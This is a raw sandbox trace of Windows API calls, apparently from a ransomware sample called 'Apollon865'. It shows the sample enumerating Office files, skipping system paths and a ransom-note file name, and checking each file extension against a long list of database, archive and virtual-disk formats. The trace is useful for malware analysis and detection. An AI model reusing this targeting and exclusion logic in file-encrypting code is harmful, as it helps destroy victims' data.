	[0065.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.945] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0065.950] CloseHandle (hObject=0x14c) returned 1
	[0065.950] CloseHandle (hObject=0x154) returned 1
	[0065.950] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0065.950] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0065.950] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0065.952] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x102e00, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x102e00, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x12798, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", cAlternateFileName="MIAE71~1.DLL")) returned 1
	[0065.952] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.952] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="Apollon865.txt.exe") returned 1
	[0065.952] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2=".") returned 1
	[0065.952] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="..") returned 1
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="windows") returned -1
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="bootmgr") returned 1
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="temp") returned -1
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="pagefile.sys") returned -1
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="boot") returned 1
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="ids.txt") returned 1
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="ntuser.dat") returned -1
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="perflogs") returned -1
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="MSBuild") returned -1
	[0065.953] lstrlenW (lpString="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned 52
	[0065.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml") returned 84
	[0065.953] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll" | out: lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll"
	[0065.953] lstrlenW (lpString="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned 52
	[0065.953] lstrlenW (lpString="Apollon865") returned 10
	[0065.953] lstrcmpiW (lpString1="horing.dll", lpString2="Apollon865") returned 1
	[0065.953] lstrlenW (lpString=".dll") returned 4
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2=".dll") returned 1
	[0065.953] lstrlenW (lpString=".lnk") returned 4
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2=".lnk") returned 1
	[0065.953] lstrlenW (lpString=".ini") returned 4
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2=".ini") returned 1
	[0065.953] lstrlenW (lpString=".sys") returned 4
	[0065.953] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2=".sys") returned 1
	[0065.953] lstrlenW (lpString="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned 52
	[0065.953] lstrlenW (lpString="bak") returned 3
	[0065.953] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0065.953] lstrlenW (lpString="ba_") returned 3
	[0065.953] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0065.953] lstrlenW (lpString="dbb") returned 3
	[0065.953] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0065.953] lstrlenW (lpString="vmdk") returned 4
	[0065.953] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0065.954] lstrlenW (lpString="rar") returned 3
	[0065.954] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0065.954] lstrlenW (lpString="zip") returned 3
	[0065.954] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0065.954] lstrlenW (lpString="tgz") returned 3
	[0065.954] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0065.954] lstrlenW (lpString="vbox") returned 4
	[0065.954] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0065.954] lstrlenW (lpString="vdi") returned 3
	[0065.954] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0065.954] lstrlenW (lpString="vhd") returned 3
	[0065.954] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0065.954] lstrlenW (lpString="vhdx") returned 4
	[0065.954] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0065.954] lstrlenW (lpString="avhd") returned 4
	[0065.954] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0065.954] lstrlenW (lpString="db") returned 2
	[0065.954] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0065.954] lstrlenW (lpString="db2") returned 3
	[0065.954] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0065.954] lstrlenW (lpString="db3") returned 3
	[0065.954] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0065.954] lstrlenW (lpString="dbf") returned 3
	[0065.954] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0065.954] lstrlenW (lpString="mdf") returned 3
	[0065.954] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0065.954] lstrlenW (lpString="mdb") returned 3
	[0065.954] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0065.954] lstrlenW (lpString="sql") returned 3
	[0065.954] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0065.954] lstrlenW (lpString="sqlite") returned 6
	[0065.954] lstrcmpiW (lpString1="ng.dll", lpString2="sqlite") returned -1
	[0065.954] lstrlenW (lpString="sqlite3") returned 7
	[0065.954] lstrcmpiW (lpString1="ing.dll", lpString2="sqlite3") returned -1
	[0065.954] lstrlenW (lpString="sqlitedb") returned 8
	[0065.955] lstrcmpiW (lpString1="ring.dll", lpString2="sqlitedb") returned -1
	[0065.955] lstrlenW (lpString="xml") returned 3
	[0065.955] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0065.955] lstrlenW (lpString="$er") returned 3
	[0065.955] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0065.955] lstrlenW (lpString="4dd") returned 3
	[0065.955] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0065.955] lstrlenW (lpString="4dl") returned 3
	[0065.955] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0065.955] lstrlenW (lpString="^^^") returned 3
	[0065.955] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0065.955] lstrlenW (lpString="abs") returned 3
	[0065.955] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0065.955] lstrlenW (lpString="abx") returned 3
	[0065.955] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0065.955] lstrlenW (lpString="accdb") returned 5
	[0065.955] lstrcmpiW (lpString1="g.dll", lpString2="accdb") returned 1
	[0065.955] lstrlenW (lpString="accdc") returned 5
	[0065.955] lstrcmpiW (lpString1="g.dll", lpString2="accdc") returned 1
	[0065.955] lstrlenW (lpString="accde") returned 5
	[0065.955] lstrcmpiW (lpString1="g.dll", lpString2="accde") returned 1
	[0065.955] lstrlenW (lpString="accdr") returned 5
	[0065.955] lstrcmpiW (lpString1="g.dll", lpString2="accdr") returned 1
	[0065.955] lstrlenW (lpString="accdt") returned 5
	[0065.955] lstrcmpiW (lpString1="g.dll", lpString2="accdt") returned 1
	[0065.955] lstrlenW (lpString="accdw") returned 5
	[0065.955] lstrcmpiW (lpString1="g.dll", lpString2="accdw") returned 1
	[0065.955] lstrlenW (lpString="accft") returned 5
	[0065.955] lstrcmpiW (lpString1="g.dll", lpString2="accft") returned 1
	[0065.955] lstrlenW (lpString="adb") returned 3
	[0065.955] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0065.955] lstrlenW (lpString="adb") returned 3
	[0065.955] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0065.955] lstrlenW (lpString="ade") returned 3
	[0065.955] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0065.956] lstrlenW (lpString="adf") returned 3
	[0065.956] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0065.956] lstrlenW (lpString="adn") returned 3
	[0065.956] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0065.956] lstrlenW (lpString="adp") returned 3
	[0065.956] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0065.956] lstrlenW (lpString="alf") returned 3
	[0065.956] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0065.956] lstrlenW (lpString="ask") returned 3
	[0065.956] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0065.956] lstrlenW (lpString="btr") returned 3
	[0065.956] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0065.956] lstrlenW (lpString="cat") returned 3
	[0065.956] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0065.956] lstrlenW (lpString="cdb") returned 3
	[0065.956] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0065.956] lstrlenW (lpString="ckp") returned 3
	[0065.956] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0065.956] lstrlenW (lpString="cma") returned 3
	[0065.956] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0065.956] lstrlenW (lpString="cpd") returned 3
	[0065.956] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0065.956] lstrlenW (lpString="dacpac") returned 6
	[0065.956] lstrcmpiW (lpString1="ng.dll", lpString2="dacpac") returned 1
	[0065.956] lstrlenW (lpString="dad") returned 3
	[0065.956] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0065.956] lstrlenW (lpString="dadiagrams") returned 10
	[0065.956] lstrcmpiW (lpString1="horing.dll", lpString2="dadiagrams") returned 1
	[0065.956] lstrlenW (lpString="daschema") returned 8
	[0065.956] lstrcmpiW (lpString1="ring.dll", lpString2="daschema") returned 1
	[0065.956] lstrlenW (lpString="db-journal") returned 10
	[0065.956] lstrcmpiW (lpString1="horing.dll", lpString2="db-journal") returned 1
	[0065.956] lstrlenW (lpString="db-shm") returned 6
	[0065.956] lstrcmpiW (lpString1="ng.dll", lpString2="db-shm") returned 1
	[0065.956] lstrlenW (lpString="db-wal") returned 6
	[0065.957] lstrcmpiW (lpString1="ng.dll", lpString2="db-wal") returned 1
	[0065.957] lstrlenW (lpString="dbc") returned 3
	[0065.957] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0065.957] lstrlenW (lpString="dbs") returned 3
	[0065.957] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0065.957] lstrlenW (lpString="dbt") returned 3
	[0065.957] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0065.957] lstrlenW (lpString="dbv") returned 3
	[0065.957] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0065.957] lstrlenW (lpString="dbx") returned 3
	[0065.957] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0065.957] lstrlenW (lpString="dcb") returned 3
	[0065.957] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0065.957] lstrlenW (lpString="dct") returned 3
	[0065.957] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0065.957] lstrlenW (lpString="dcx") returned 3
	[0065.957] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0065.957] lstrlenW (lpString="ddl") returned 3
	[0065.957] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0065.957] lstrlenW (lpString="dlis") returned 4
	[0065.957] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0065.957] lstrlenW (lpString="dp1") returned 3
	[0065.957] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0065.957] lstrlenW (lpString="dqy") returned 3
	[0065.957] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0065.973] lstrlenW (lpString="dsk") returned 3
	[0065.973] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0065.973] lstrlenW (lpString="dsn") returned 3
	[0065.973] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0065.973] lstrlenW (lpString="dtsx") returned 4
	[0065.973] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0065.973] lstrlenW (lpString="dxl") returned 3
	[0065.973] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0065.973] lstrlenW (lpString="eco") returned 3
	[0065.973] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0065.973] lstrlenW (lpString="ecx") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0065.974] lstrlenW (lpString="edb") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0065.974] lstrlenW (lpString="epim") returned 4
	[0065.974] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0065.974] lstrlenW (lpString="fcd") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0065.974] lstrlenW (lpString="fdb") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0065.974] lstrlenW (lpString="fic") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0065.974] lstrlenW (lpString="flexolibrary") returned 12
	[0065.974] lstrcmpiW (lpString1="uthoring.dll", lpString2="flexolibrary") returned 1
	[0065.974] lstrlenW (lpString="fm5") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0065.974] lstrlenW (lpString="fmp") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0065.974] lstrlenW (lpString="fmp12") returned 5
	[0065.974] lstrcmpiW (lpString1="g.dll", lpString2="fmp12") returned 1
	[0065.974] lstrlenW (lpString="fmpsl") returned 5
	[0065.974] lstrcmpiW (lpString1="g.dll", lpString2="fmpsl") returned 1
	[0065.974] lstrlenW (lpString="fol") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0065.974] lstrlenW (lpString="fp3") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0065.974] lstrlenW (lpString="fp4") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0065.974] lstrlenW (lpString="fp5") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0065.974] lstrlenW (lpString="fp7") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0065.974] lstrlenW (lpString="fpt") returned 3
	[0065.974] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0065.975] lstrlenW (lpString="frm") returned 3
	[0065.975] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0065.975] lstrlenW (lpString="gdb") returned 3
	[0065.975] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0065.975] lstrlenW (lpString="gdb") returned 3
	[0065.975] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0065.975] lstrlenW (lpString="grdb") returned 4
	[0065.975] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0065.975] lstrlenW (lpString="gwi") returned 3
	[0065.975] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0065.975] lstrlenW (lpString="hdb") returned 3
	[0065.975] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0065.975] lstrlenW (lpString="his") returned 3
	[0065.975] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0065.975] lstrlenW (lpString="ib") returned 2
	[0065.975] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0065.975] lstrlenW (lpString="idb") returned 3
	[0065.975] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0065.975] lstrlenW (lpString="ihx") returned 3
	[0065.975] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0065.975] lstrlenW (lpString="itdb") returned 4
	[0065.975] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0065.975] lstrlenW (lpString="itw") returned 3
	[0065.975] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0065.975] lstrlenW (lpString="jet") returned 3
	[0065.975] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0065.975] lstrlenW (lpString="jtx") returned 3
	[0065.975] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0065.975] lstrlenW (lpString="kdb") returned 3
	[0065.976] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0065.976] lstrlenW (lpString="kexi") returned 4
	[0065.976] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0065.976] lstrlenW (lpString="kexic") returned 5
	[0065.976] lstrcmpiW (lpString1="g.dll", lpString2="kexic") returned -1
	[0065.976] lstrlenW (lpString="kexis") returned 5
	[0065.976] lstrcmpiW (lpString1="g.dll", lpString2="kexis") returned -1
	[0065.976] lstrlenW (lpString="lgc") returned 3
	[0065.976] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0065.976] lstrlenW (lpString="lwx") returned 3
	[0065.976] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0065.976] lstrlenW (lpString="maf") returned 3
	[0065.976] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0065.976] lstrlenW (lpString="maq") returned 3
	[0065.976] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0065.976] lstrlenW (lpString="mar") returned 3
	[0065.976] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0065.976] lstrlenW (lpString="marshal") returned 7
	[0065.976] lstrcmpiW (lpString1="ing.dll", lpString2="marshal") returned -1
	[0065.976] lstrlenW (lpString="mas") returned 3
	[0065.976] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0065.976] lstrlenW (lpString="mav") returned 3
	[0065.976] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0065.976] lstrlenW (lpString="maw") returned 3
	[0065.976] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0065.976] lstrlenW (lpString="mdbhtml") returned 7
	[0065.976] lstrcmpiW (lpString1="ing.dll", lpString2="mdbhtml") returned -1
	[0065.976] lstrlenW (lpString="mdn") returned 3
	[0065.976] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0065.976] lstrlenW (lpString="mdt") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0065.977] lstrlenW (lpString="mfd") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0065.977] lstrlenW (lpString="mpd") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0065.977] lstrlenW (lpString="mrg") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0065.977] lstrlenW (lpString="mud") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0065.977] lstrlenW (lpString="mwb") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0065.977] lstrlenW (lpString="myd") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0065.977] lstrlenW (lpString="ndf") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0065.977] lstrlenW (lpString="nnt") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0065.977] lstrlenW (lpString="nrmlib") returned 6
	[0065.977] lstrcmpiW (lpString1="ng.dll", lpString2="nrmlib") returned -1
	[0065.977] lstrlenW (lpString="ns2") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0065.977] lstrlenW (lpString="ns3") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0065.977] lstrlenW (lpString="ns4") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0065.977] lstrlenW (lpString="nsf") returned 3
	[0065.977] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0065.978] lstrlenW (lpString="nv") returned 2
	[0065.978] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0065.978] lstrlenW (lpString="nv2") returned 3
	[0065.978] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0065.978] lstrlenW (lpString="nwdb") returned 4
	[0065.978] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0065.978] lstrlenW (lpString="nyf") returned 3
	[0065.978] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0065.978] lstrlenW (lpString="odb") returned 3
	[0065.978] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0065.978] lstrlenW (lpString="odb") returned 3
	[0065.978] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0065.978] lstrlenW (lpString="oqy") returned 3
	[0065.978] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0065.978] lstrlenW (lpString="ora") returned 3
	[0065.978] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0065.978] lstrlenW (lpString="orx") returned 3
	[0065.978] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0065.978] lstrlenW (lpString="owc") returned 3
	[0065.978] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0065.978] lstrlenW (lpString="p96") returned 3
	[0065.978] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0065.978] lstrlenW (lpString="p97") returned 3
	[0065.978] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0065.978] lstrlenW (lpString="pan") returned 3
	[0065.978] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0065.978] lstrlenW (lpString="pdb") returned 3
	[0065.978] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0065.978] lstrlenW (lpString="pdm") returned 3
	[0065.979] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0065.979] lstrlenW (lpString="pnz") returned 3
	[0065.979] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0065.979] lstrlenW (lpString="qry") returned 3
	[0065.979] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0065.979] lstrlenW (lpString="qvd") returned 3
	[0065.979] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0065.979] lstrlenW (lpString="rbf") returned 3
	[0065.979] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0065.979] lstrlenW (lpString="rctd") returned 4
	[0065.979] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0065.979] lstrlenW (lpString="rod") returned 3
	[0065.979] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0065.979] lstrlenW (lpString="rodx") returned 4
	[0065.979] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0065.979] lstrlenW (lpString="rpd") returned 3
	[0065.979] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0065.979] lstrlenW (lpString="rsd") returned 3
	[0065.979] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0065.979] lstrlenW (lpString="sas7bdat") returned 8
	[0065.979] lstrcmpiW (lpString1="ring.dll", lpString2="sas7bdat") returned -1
	[0065.979] lstrlenW (lpString="sbf") returned 3
	[0065.979] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0065.979] lstrlenW (lpString="scx") returned 3
	[0065.979] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0065.979] lstrlenW (lpString="sdb") returned 3
	[0065.979] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0065.980] lstrlenW (lpString="sdc") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0065.980] lstrlenW (lpString="sdf") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0065.980] lstrlenW (lpString="sis") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0065.980] lstrlenW (lpString="spq") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0065.980] lstrlenW (lpString="te") returned 2
	[0065.980] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0065.980] lstrlenW (lpString="teacher") returned 7
	[0065.980] lstrcmpiW (lpString1="ing.dll", lpString2="teacher") returned -1
	[0065.980] lstrlenW (lpString="tmd") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0065.980] lstrlenW (lpString="tps") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0065.980] lstrlenW (lpString="trc") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0065.980] lstrlenW (lpString="trc") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0065.980] lstrlenW (lpString="trm") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0065.980] lstrlenW (lpString="udb") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0065.980] lstrlenW (lpString="udl") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0065.980] lstrlenW (lpString="usr") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0065.980] lstrlenW (lpString="v12") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0065.980] lstrlenW (lpString="vis") returned 3
	[0065.980] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0065.981] lstrlenW (lpString="vpd") returned 3
	[0065.981] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0065.981] lstrlenW (lpString="vvv") returned 3
	[0065.981] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0065.981] lstrlenW (lpString="wdb") returned 3
	[0065.981] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0065.981] lstrlenW (lpString="wmdb") returned 4
	[0065.981] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0065.981] lstrlenW (lpString="wrk") returned 3
	[0065.981] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0065.981] lstrlenW (lpString="xdb") returned 3
	[0065.981] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0065.981] lstrlenW (lpString="xld") returned 3
	[0065.981] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0065.981] lstrlenW (lpString="xmlff") returned 5
	[0065.981] lstrcmpiW (lpString1="g.dll", lpString2="xmlff") returned -1
	[0065.981] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x67760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="microsoft.office.workflow.actions.proxy.dll", cAlternateFileName="MIF37A~1.DLL")) returned 1
